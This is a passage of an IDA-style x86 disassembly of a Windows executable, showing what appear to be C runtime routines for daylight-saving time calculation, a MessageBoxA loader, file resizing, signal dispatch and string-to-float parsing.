		call	sub_42D320
		push	0Bh
		mov	esi, eax
		call	sub_428497
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_42D2FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D320	proc near		; CODE XREF: sub_42D2FF+Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_44C014, edi
		jnz	short loc_42D334


loc_42D32D:				; CODE XREF: sub_42D320+148j
					; sub_42D320+150j ...
		xor	eax, eax
		jmp	loc_42D480
; ---------------------------------------------------------------------------


loc_42D334:				; CODE XREF: sub_42D320+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_44C0A8
		jnz	short loc_42D352
		cmp	eax, dword_44C0B8
		jz	loc_42D454


loc_42D352:				; CODE XREF: sub_42D320+24j
		cmp	dword_631668, edi
		jz	loc_42D42A
		movzx	ecx, word_631716
		push	ecx
		cmp	word_631708, di
		movzx	ecx, word_631714
		push	ecx
		movzx	ecx, word_631712
		push	ecx
		movzx	ecx, word_631710
		push	ecx
		jnz	short loc_42D3A4
		movzx	ecx, word_63170C
		push	edi
		push	ecx
		movzx	ecx, word_63170E
		push	ecx
		movzx	ecx, word_63170A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_42D3B8
; ---------------------------------------------------------------------------


loc_42D3A4:				; CODE XREF: sub_42D320+65j
		movzx	ecx, word_63170E
		push	ecx
		push	edi
		movzx	ecx, word_63170A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_42D3B8:				; CODE XREF: sub_42D320+82j
		push	ebx
		call	sub_42D4CC
		movzx	eax, word_6316C2
		add	esp, 2Ch
		cmp	word_6316B4, di
		push	eax
		movzx	eax, word_6316C0
		push	eax
		movzx	eax, word_6316BE
		push	eax
		movzx	eax, word_6316BC
		push	eax
		jnz	short loc_42D412
		movzx	eax, word_6316B8
		push	edi
		push	eax
		movzx	eax, word_6316BA
		push	eax
		movzx	eax, word_6316B6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_42D407:				; CODE XREF: sub_42D320+108j
		push	edi
		call	sub_42D4CC
		add	esp, 2Ch
		jmp	short loc_42D454
; ---------------------------------------------------------------------------


loc_42D412:				; CODE XREF: sub_42D320+C8j
		movzx	eax, word_6316BA
		push	eax
		push	edi
		movzx	eax, word_6316B6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_42D407
; ---------------------------------------------------------------------------


loc_42D42A:				; CODE XREF: sub_42D320+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_42D4CC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_42D4CC
		add	esp, 58h


loc_42D454:				; CODE XREF: sub_42D320+2Cj
					; sub_42D320+F0j
		mov	edx, dword_44C0AC
		mov	eax, dword_44C0BC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_42D484
		cmp	ecx, edx
		jl	loc_42D32D
		cmp	ecx, eax
		jg	loc_42D32D
		cmp	ecx, edx
		jle	short loc_42D498
		cmp	ecx, eax
		jge	short loc_42D498


loc_42D47E:				; CODE XREF: sub_42D320+166j
					; sub_42D320+16Aj
		mov	eax, ebx


loc_42D480:				; CODE XREF: sub_42D320+Fj
					; sub_42D320+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D484:				; CODE XREF: sub_42D320+144j
		cmp	ecx, eax
		jl	short loc_42D47E
		cmp	ecx, edx
		jg	short loc_42D47E
		cmp	ecx, eax
		jle	short loc_42D498
		cmp	ecx, edx
		jl	loc_42D32D


loc_42D498:				; CODE XREF: sub_42D320+158j
					; sub_42D320+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_42D4BF
		xor	ecx, ecx
		cmp	eax, dword_44C0B0
		setnl	cl


loc_42D4BB:				; CODE XREF: sub_42D320+1AAj
		mov	eax, ecx
		jmp	short loc_42D480
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D320+18Ej
		xor	ecx, ecx
		cmp	eax, dword_44C0C0
		setl	cl
		jmp	short loc_42D4BB
sub_42D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D4CC	proc near		; CODE XREF: sub_42D320+99p
					; sub_42D320+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_42D567
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_42D4F7
		shl	esi, 2
		mov	eax, dword_44C0C0[esi]
		jmp	short loc_42D500
; ---------------------------------------------------------------------------


loc_42D4F7:				; CODE XREF: sub_42D4CC+1Ej
		shl	esi, 2
		mov	eax, dword_44C0F4[esi]


loc_42D500:				; CODE XREF: sub_42D4CC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_42D53A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42D544
; ---------------------------------------------------------------------------


loc_42D53A:				; CODE XREF: sub_42D4CC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42D544:				; CODE XREF: sub_42D4CC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_42D582
		cmp	[ebp+arg_8], 0
		jnz	short loc_42D558
		mov	esi, dword_44C0C4[esi]
		jmp	short loc_42D55E
; ---------------------------------------------------------------------------


loc_42D558:				; CODE XREF: sub_42D4CC+82j
		mov	esi, dword_44C0F8[esi]


loc_42D55E:				; CODE XREF: sub_42D4CC+8Aj
		cmp	ecx, esi
		jle	short loc_42D582
		sub	ecx, 7
		jmp	short loc_42D582
; ---------------------------------------------------------------------------


loc_42D567:				; CODE XREF: sub_42D4CC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_42D578
		mov	ecx, dword_44C0C0[eax*4]
		jmp	short loc_42D57F
; ---------------------------------------------------------------------------


loc_42D578:				; CODE XREF: sub_42D4CC+A1j
		mov	ecx, dword_44C0F4[eax*4]


loc_42D57F:				; CODE XREF: sub_42D4CC+AAj
		add	ecx, [ebp+arg_18]


loc_42D582:				; CODE XREF: sub_42D4CC+7Cj
					; sub_42D4CC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_42D5B3
		mov	eax, [ebp+arg_1C]
		mov	dword_44C0AC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_44C0A8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_44C0B0, eax
		jmp	short loc_42D608
; ---------------------------------------------------------------------------


loc_42D5B3:				; CODE XREF: sub_42D4CC+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_44C0BC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_44C018
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_44C0C0, eax
		jns	short loc_42D5EB
		add	eax, 5265C00h
		dec	ecx
		mov	dword_44C0C0, eax
		jmp	short loc_42D5FC
; ---------------------------------------------------------------------------


loc_42D5EB:				; CODE XREF: sub_42D4CC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_42D602
		sub	eax, edx
		inc	ecx
		mov	dword_44C0C0, eax


loc_42D5FC:				; CODE XREF: sub_42D4CC+11Dj
		mov	dword_44C0BC, ecx


loc_42D602:				; CODE XREF: sub_42D4CC+126j
		mov	dword_44C0B8, ebx


loc_42D608:				; CODE XREF: sub_42D4CC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42D4CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D60C	proc near		; CODE XREF: sub_42B1D5+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42D61D
		add	esp, 0Ch
		retn
sub_42D60C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D61D	proc near		; CODE XREF: sub_42D60C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_631881[eax], cl
		jnz	short loc_42D64A
		cmp	[esp+arg_4], 0
		jz	short loc_42D643
		movzx	eax, word_449842[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_42D645
; ---------------------------------------------------------------------------


loc_42D643:				; CODE XREF: sub_42D61D+16j
		xor	eax, eax


loc_42D645:				; CODE XREF: sub_42D61D+24j
		test	eax, eax
		jnz	short loc_42D64A
		retn
; ---------------------------------------------------------------------------


loc_42D64A:				; CODE XREF: sub_42D61D+Fj
					; sub_42D61D+2Aj
		push	1
		pop	eax
		retn
sub_42D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D64E	proc near		; CODE XREF: sub_42B69E+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_631724, ebx
		push	esi
		push	edi
		jnz	short loc_42D69D
		push	offset aUser32_dll ; "user32.dll"
		call	dword_42F138	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_42D6D3
		mov	esi, dword_42F13C
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_42F13C
		test	eax, eax
		mov	dword_631724, eax
		jz	short loc_42D6D3
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi ; dword_42F13C
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_631728, eax
		call	esi ; dword_42F13C
		mov	dword_63172C, eax


loc_42D69D:				; CODE XREF: sub_42D64E+Bj
		mov	eax, dword_631728
		test	eax, eax
		jz	short loc_42D6BC
		call	eax ; dword_631728
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_42D6BC
		mov	eax, dword_63172C
		test	eax, eax
		jz	short loc_42D6BC
		push	ebx
		call	eax ; dword_63172C
		mov	ebx, eax


loc_42D6BC:				; CODE XREF: sub_42D64E+56j
					; sub_42D64E+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_631724	; MessageBoxA


loc_42D6CF:				; CODE XREF: sub_42D64E+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42D6D3:				; CODE XREF: sub_42D64E+1Cj
					; sub_42D64E+33j
		xor	eax, eax
		jmp	short loc_42D6CF
sub_42D64E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D6D7	proc near		; CODE XREF: sub_42BF9A+28Ap

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_4220C0
		push	ebx
		push	esi
		xor	esi, esi
		push	1
		push	esi
		push	[ebp+arg_0]
		call	sub_426D61
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_42D7F6
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_426D61
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_42D7F6
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42D799
		mov	ebx, 1000h
		lea	eax, [ebp+var_1004]
		push	ebx
		push	esi
		push	eax
		call	sub_4221F0
		push	8000h
		push	[ebp+arg_0]
		call	sub_42E8B1
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_42D74A:				; CODE XREF: sub_42D6D7+99j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_42D752
		mov	eax, edi


loc_42D752:				; CODE XREF: sub_42D6D7+77j
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+arg_0]
		call	sub_42AED2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42D772
		sub	edi, eax
		test	edi, edi
		jle	short loc_42D78A
		jmp	short loc_42D74A
; ---------------------------------------------------------------------------


loc_42D772:				; CODE XREF: sub_42D6D7+91j
		call	sub_426531
		cmp	dword ptr [eax], 5
		jnz	short loc_42D787
		call	sub_426528
		mov	dword ptr [eax], 0Dh


loc_42D787:				; CODE XREF: sub_42D6D7+A3j
		or	esi, 0FFFFFFFFh


loc_42D78A:				; CODE XREF: sub_42D6D7+97j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42E8B1
		pop	ecx
		pop	ecx
		jmp	short loc_42D7E1
; ---------------------------------------------------------------------------


loc_42D799:				; CODE XREF: sub_42D6D7+4Bj
		jge	short loc_42D7E1
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426D61
		push	[ebp+arg_0]
		call	sub_42BE44
		add	esp, 10h
		push	eax
		call	dword_42F134	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_42D7E1
		call	sub_426528
		mov	dword ptr [eax], 0Dh
		call	dword_42F068	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_426531
		mov	[eax], edi


loc_42D7E1:				; CODE XREF: sub_42D6D7+C0j
					; sub_42D6D7:loc_42D799j ...
		push	0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426D61
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42D7F8
; ---------------------------------------------------------------------------


loc_42D7F6:				; CODE XREF: sub_42D6D7+27j
					; sub_42D6D7+3Dj
		mov	eax, ebx


loc_42D7F8:				; CODE XREF: sub_42D6D7+11Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_42D6D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D7FC	proc near		; CODE XREF: sub_429A8C+3533p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		dec	eax
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_42D877
		dec	eax
		dec	eax
		jz	short loc_42D85A
		sub	eax, 4
		jz	short loc_42D85A
		sub	eax, 3
		jz	short loc_42D85A
		sub	eax, 4
		jz	short loc_42D84D
		sub	eax, 6
		jz	short loc_42D840
		dec	eax
		jz	short loc_42D833
		or	eax, 0FFFFFFFFh
		jmp	loc_42D979
; ---------------------------------------------------------------------------


loc_42D833:				; CODE XREF: sub_42D7FC+2Dj
		mov	ebx, dword_63173C
		mov	edi, offset dword_63173C
		jmp	short loc_42D882
; ---------------------------------------------------------------------------


loc_42D840:				; CODE XREF: sub_42D7FC+2Aj
		mov	ebx, dword_631738
		mov	edi, offset dword_631738
		jmp	short loc_42D882
; ---------------------------------------------------------------------------


loc_42D84D:				; CODE XREF: sub_42D7FC+25j
		mov	ebx, dword_631740
		mov	edi, offset dword_631740
		jmp	short loc_42D882
; ---------------------------------------------------------------------------


loc_42D85A:				; CODE XREF: sub_42D7FC+16j
					; sub_42D7FC+1Bj ...
		call	sub_42599D
		mov	esi, eax
		push	dword ptr [esi+50h]
		push	[ebp+arg_0]
		call	sub_42D97E
		mov	edi, eax
		pop	ecx
		add	edi, 8
		pop	ecx
		mov	ebx, [edi]
		jmp	short loc_42D894
; ---------------------------------------------------------------------------


loc_42D877:				; CODE XREF: sub_42D7FC+12j
		mov	ebx, dword_631734
		mov	edi, offset dword_631734


loc_42D882:				; CODE XREF: sub_42D7FC+42j
					; sub_42D7FC+4Fj ...
		push	1
		mov	[ebp+var_4], 1
		call	sub_428436
		mov	esi, [ebp+arg_0]
		pop	ecx


loc_42D894:				; CODE XREF: sub_42D7FC+79j
		cmp	ebx, 1
		jnz	short loc_42D8AF
		cmp	[ebp+var_4], 0
		jz	loc_42D977
		push	ebx
		call	sub_428497
		pop	ecx
		jmp	loc_42D977
; ---------------------------------------------------------------------------


loc_42D8AF:				; CODE XREF: sub_42D7FC+9Bj
		xor	ecx, ecx
		cmp	ebx, ecx
		jnz	short loc_42D8C9
		cmp	[ebp+var_4], ecx
		jz	short loc_42D8C2
		push	1
		call	sub_428497
		pop	ecx


loc_42D8C2:				; CODE XREF: sub_42D7FC+BCj
		push	3
		call	sub_4284EA


loc_42D8C9:				; CODE XREF: sub_42D7FC+B7j
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_42D8DB
		cmp	eax, 0Bh
		jz	short loc_42D8DB
		cmp	eax, 4
		jnz	short loc_42D8F6


loc_42D8DB:				; CODE XREF: sub_42D7FC+D3j
					; sub_42D7FC+D8j
		mov	edx, [esi+54h]
		cmp	eax, 8
		mov	[ebp+var_8], edx
		mov	[esi+54h], ecx
		jnz	short loc_42D932
		mov	edx, [esi+58h]
		mov	dword ptr [esi+58h], 8Ch
		mov	[ebp+var_C], edx


loc_42D8F6:				; CODE XREF: sub_42D7FC+DDj
		cmp	eax, 8
		jnz	short loc_42D932
		mov	ecx, dword_44BF28
		mov	eax, dword_44BF2C
		add	eax, ecx
		cmp	ecx, eax
		jge	short loc_42D934
		lea	eax, [ecx+ecx*2]
		shl	eax, 2


loc_42D912:				; CODE XREF: sub_42D7FC+132j
		mov	edx, [esi+50h]
		add	eax, 0Ch
		and	dword ptr [edx+eax-4], 0
		mov	edx, dword_44BF28
		mov	edi, dword_44BF2C
		inc	ecx
		add	edi, edx
		cmp	ecx, edi
		jl	short loc_42D912
		jmp	short loc_42D934
; ---------------------------------------------------------------------------


loc_42D932:				; CODE XREF: sub_42D7FC+EBj
					; sub_42D7FC+FDj
		mov	[edi], ecx


loc_42D934:				; CODE XREF: sub_42D7FC+10Ej
					; sub_42D7FC+134j
		cmp	[ebp+var_4], 0
		jz	short loc_42D942
		push	1
		call	sub_428497
		pop	ecx


loc_42D942:				; CODE XREF: sub_42D7FC+13Cj
		cmp	[ebp+arg_0], 8
		jnz	short loc_42D953
		push	dword ptr [esi+58h]
		push	8
		call	ebx
		pop	ecx
		pop	ecx
		jmp	short loc_42D965
; ---------------------------------------------------------------------------


loc_42D953:				; CODE XREF: sub_42D7FC+14Aj
		push	[ebp+arg_0]
		call	ebx
		cmp	[ebp+arg_0], 0Bh
		pop	ecx
		jz	short loc_42D965
		cmp	[ebp+arg_0], 4
		jnz	short loc_42D977


loc_42D965:				; CODE XREF: sub_42D7FC+155j
					; sub_42D7FC+161j
		mov	eax, [ebp+var_8]
		cmp	[ebp+arg_0], 8
		mov	[esi+54h], eax
		jnz	short loc_42D977
		mov	eax, [ebp+var_C]
		mov	[esi+58h], eax


loc_42D977:				; CODE XREF: sub_42D7FC+A1j
					; sub_42D7FC+AEj ...
		xor	eax, eax


loc_42D979:				; CODE XREF: sub_42D7FC+32j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D7FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D97E	proc near		; CODE XREF: sub_42D7FC+6Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ecx, dword_44BF34
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	[edx+4], esi
		push	edi
		mov	eax, edx
		jz	short loc_42D9A7
		lea	edi, [ecx+ecx*2]
		lea	edi, [edx+edi*4]


loc_42D99B:				; CODE XREF: sub_42D97E+27j
		add	eax, 0Ch
		cmp	eax, edi
		jnb	short loc_42D9A7
		cmp	[eax+4], esi
		jnz	short loc_42D99B


loc_42D9A7:				; CODE XREF: sub_42D97E+15j
					; sub_42D97E+22j
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		jnb	short loc_42D9B6
		cmp	[eax+4], esi
		jz	short loc_42D9B8


loc_42D9B6:				; CODE XREF: sub_42D97E+31j
		xor	eax, eax


loc_42D9B8:				; CODE XREF: sub_42D97E+36j
		pop	edi
		pop	esi
		retn
sub_42D97E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D9BB	proc near		; CODE XREF: sub_42C418+2Bp
					; sub_42C418+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42D9D1
		cmp	ecx, esi
		jnb	short loc_42D9D4


loc_42D9D1:				; CODE XREF: sub_42D9BB+10j
		push	1
		pop	eax


loc_42D9D4:				; CODE XREF: sub_42D9BB+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_42D9BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D9DC	proc near		; CODE XREF: sub_42DA95+40p
					; sub_42DA95+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_42D9BB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DA0E
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_42D9BB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DA0E
		inc	dword ptr [esi+8]


loc_42DA0E:				; CODE XREF: sub_42D9DC+19j
					; sub_42D9DC+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_42D9BB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42DA26
		inc	dword ptr [esi+8]


loc_42DA26:				; CODE XREF: sub_42D9DC+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_42D9BB
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_42D9DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42DA3A	proc near		; CODE XREF: sub_42DA95+30p
					; sub_42DA95+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_42DA3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42DA68	proc near		; CODE XREF: sub_42E02D+1C8p
					; sub_42E912+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_42DA68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA95	proc near		; CODE XREF: sub_42DB5C+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42DB09
		push	edi
		mov	[ebp+arg_8], eax


loc_42DABC:				; CODE XREF: sub_42DA95+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_42DA3A
		push	ebx
		call	sub_42DA3A
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_42D9DC
		push	ebx
		call	sub_42DA3A
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_42D9DC
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_42DABC
		xor	edx, edx
		pop	edi


loc_42DB09:				; CODE XREF: sub_42DA95+21j
					; sub_42DA95+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42DB36
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42DB09
; ---------------------------------------------------------------------------


loc_42DB36:				; CODE XREF: sub_42DA95+77j
		mov	esi, 8000h


loc_42DB3B:				; CODE XREF: sub_42DA95+B9j
		test	[ebx+8], esi
		jnz	short loc_42DB50
		push	ebx
		call	sub_42DA3A
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_42DB3B
; ---------------------------------------------------------------------------


loc_42DB50:				; CODE XREF: sub_42DA95+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42DA95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DB5C	proc near		; CODE XREF: sub_42C761+17p
					; sub_42C78E+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_42DB97:				; CODE XREF: sub_42DB5C+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_42DBAD
		cmp	cl, 9
		jz	short loc_42DBAD
		cmp	cl, 0Ah
		jz	short loc_42DBAD
		cmp	cl, 0Dh
		jnz	short loc_42DBB0


loc_42DBAD:				; CODE XREF: sub_42DB5C+40j
					; sub_42DB5C+45j ...
		inc	edi
		jmp	short loc_42DB97
; ---------------------------------------------------------------------------


loc_42DBB0:				; CODE XREF: sub_42DB5C+4Fj
		push	4
		pop	esi


loc_42DBB3:				; CODE XREF: sub_42DB5C+AEj
					; sub_42DB5C+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42DE36	; default
					; jumptable 0042DBBF case 10
		jmp	off_42DFFD[eax*4] ; switch jump


loc_42DBC6:				; DATA XREF: .text:off_42DFFDo
